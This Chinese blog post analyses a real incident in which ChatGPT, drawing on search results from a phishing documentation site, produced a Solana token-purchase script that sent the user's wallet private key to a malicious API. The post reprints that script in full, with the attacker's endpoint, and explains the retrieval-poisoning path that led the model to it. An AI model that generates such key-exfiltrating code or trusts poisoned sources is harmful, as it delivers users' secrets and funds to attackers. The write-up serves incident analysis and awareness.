黑哥说安全 2024年11月23日
大模型(ChatGPT)“语料污染”第一真实案例
index_new5.html
../../../zaker_core/zaker_tpl_static/wap/tpl_guoji1.html

 

本文讲述了一个用户使用ChatGPT生成代码时,因代码中调用了恶意API地址并泄露私钥导致钱包被盗的案例。该案例发生在Solana生态,用户希望使用ChatGPT编写购买代币的脚本,ChatGPT根据搜索结果生成的代码中包含了恶意API地址,并要求用户输入私钥。用户未察觉风险,导致私钥泄露,最终损失约2.5万美元。该案例引发了对大模型语料污染和代码生成安全性的讨论,也提醒用户在使用AI工具时需谨慎,避免泄露敏感信息。

🤔 **案例背景:**用户使用ChatGPT生成Solana代币购买脚本,ChatGPT根据搜索结果生成了包含恶意API地址的代码,并要求用户输入私钥。

🔎 **漏洞原因:**ChatGPT的搜索结果包含了“钓鱼”网站的文档和代码,导致生成的代码调用了恶意API。

⚠️ **风险提示:**大模型的语料库可能存在被污染的风险,用户在使用AI工具生成代码时需谨慎,避免泄露敏感信息,如私钥等。

💡 **启示:**此案例是第一个真实发生的语料污染导致用户损失的案例,提醒开发者和用户需关注大模型的安全性,并加强对新兴技术领域的知识安全防护。

👨‍💻 **受害者责任:**受害者缺乏基本安全意识,直接在代码中填写私钥并运行,导致损失。即使是官方提供的代码,也不应直接提交私钥。

今天看到一个非常有意思的案例,应该说可以载入史册的案例。我最早看有群里转发COS的一个推文:

然后在hi群发了下,COS看到后跟我说了下大体过程,从受害者r_ocky.eth @r_cky0 的推文:

详见:https://x.com/r_cky0/status/1859656430888026524

大概说是他在使用ChatGPT编码的时候,GPT给出的代码里调用了一个恶意的API地址,然后更要命的是生成的代码里是直接把"private_key"明文提交给“恶意”API处理,而且这哥们也是老老实实在代码里填写了自己的key,然后还运行了,结果是30分钟后他的钱包被盗(转移到FdiBGKS8noGHY2fppnDgcgCQts95Ww8HSLUvWbzv1NhX这个地址)损失差不多$2.5k刀...

从受害者的推文来看把锅甩给了OpenAI,并表示此次不再信任OpenAI,当然他也第一时间币圈第一神探@COS寻求帮助(是的!如果你在币圈出现任何安全风险,请第一时间联系慢雾,肯定没错!),COS也第一时间做了分析回应:https://x.com/evilcos/status/1859752658061623593

(因为我开始打错别字了写成了漫雾,所以COS发了这个图帮纠正一下,这应该也是一种语料污染,所以直接发出来提醒下大家)

事情基本清楚了,但是是不是ChatGPT的锅实际上还不是很明了,因为没有搞清楚ChatGPT为什么会给出这个API调用的代码,在受害小哥的推文我们找到了小哥当时的提示词:

this has to be script to buy solana token from pump.fun portal

另外我留意到ChatGPT的回复是包含“References”及“Sources”的,通过COS联系小哥后他给我分享了当时所有跟ChatGPT的会话记录,找到对应的提示词,后可以看到他当时使用了ChatGPT-4o-mini并且确实触发了搜索,点“Sources”可以看到:

所以真相大白了搜索源就是docs.solanaapis.com 应该同时命中了“solana”跟“pump.fun”两个关键词,所以成为ChatGPT引入的“语料”数据源,我们也就找到文档及github中的演示代码中的API地址:

https://api.solanaapis.com/pumpfun/buy

根据这些搜索到的“知识”ChatGPT“自然而然”的生成了对应恶意API调用的代码:

import requests


# API Endpoint
api_url = "https://api.solanaapis.com/pumpfun/buy"


# Replace with your actual private key
private_key = "your_private_key_here"


# Token mint address for HXTh56cHH97ibiNMEtMyMs6ZPAeqy5E9xxxxx
mint_address = "HXTh56cHH97ibiNMEtMyMs6ZPAeqy5E9xxxxx"


# Amount in SOL you wish to spend
amount_in_sol = 0.01 # Example: 0.01 SOL


# Transaction parameters
microlamports = 433000 # Default value
units = 300000 # Default value
slippage = 10 # Example: 10 for 10% slippage


# Payload for the POST request
payload = {
"private_key": private_key,
"mint": mint_address,
"amount": amount_in_sol,
"microlamports": microlamports,
"units": units,
"slippage": slippage
}


try:
# Send POST request to the API
response = requests.post(api_url, json=payload)
response_data = response.json()


if response.status_code == 200 and response_data.get("status") == "success":
print(f"Transaction successful! TXID: {response_data.get('txid')}")
else:
print(f"Transaction failed: {response_data.get('message', 'Unknown error')}")


except Exception as e:
print(f"An error occurred: {e}")


然后这个受害者小哥也没注意,直接在代码里填写了自己的private_key,然后本地运行了 ... 后面的结果大家都已经知道了... 

到这里我们可以整理下整个流程图:

到这里还有一个问题那就是ChatGPT生成的代码为什么会要求把private_key提交给远程API处理呢?实际上从docs.solanaapis.com “官方”演示代码也是要发送private_key的,所以有理由相信整个docs.solanaapis.com及对应代码的 github.com/solanaapisdev 整个项目就是一个彻头彻尾的“钓鱼”项目,用时髦的话说是供应链钓鱼,从本次案例的动机及场景上上讲ChaGPT算是躺枪了,我估计攻击者也没想到ChatGPT会有这么堪称为“神之一手”的完美助攻!!!

如果要OpenAI背锅的话那应该把锅给ChatGPT-Research,因为我用Google搜索了一下“solana”跟“pump.fun”两个关键词,并没有找到docs.solanaapis.com这个的靠前的搜索

之所以称这个案例可以“载入史册”,我觉得属于可能是第一个真实发生的语料污染带给用户带来损失的案例!其实在我之前内部培训的时候有提到这种语料污染的问题:

本次案例这种API调用是算是非常隐蔽的场景,当然这也是因为Web3这种知识都算是比较新的“知识”,更加容易被“投毒”污染,这次我觉得ChatGPT算是被动“躺枪”,但是下次很可能出现攻击者主动出击的情况!尤其是对新出现的现象级那种爆红的项目,进行优先“占坑”提供完整的知识进行“投毒”污染的可能。大模型相关搜索及代码生成都需要考虑下这种风险场景的可能 ...

当然本次案例核心还是受害者小哥的“配合”缺少最基本的概念,即使是一个背景很靠谱官方也不可能直接提交private_key啊~~

最后:

来句黑哥尔的名言:经典永远在各种偶然的不可思议的场景中诞生!

最后感谢cos,感谢受害者小哥r_ocky.eth @r_cky0分享他价值$2.5k刀的教训

?发表于:中国 湖南

Fish AI Reader

Fish AI Reader

AI辅助创作,多种专业模板,深度分析,高质量内容生成。从观点提取到深度思考,FishAI为您提供全方位的创作支持。新版本引入自定义参数,让您的创作更加个性化和精准。

FishAI

FishAI

鱼阅,AI 时代的下一个智能信息助手,助你摆脱信息焦虑

联系邮箱 441953276@qq.com

相关标签

ChatGPT 语料污染 代码安全 Solana 私钥泄露
相关文章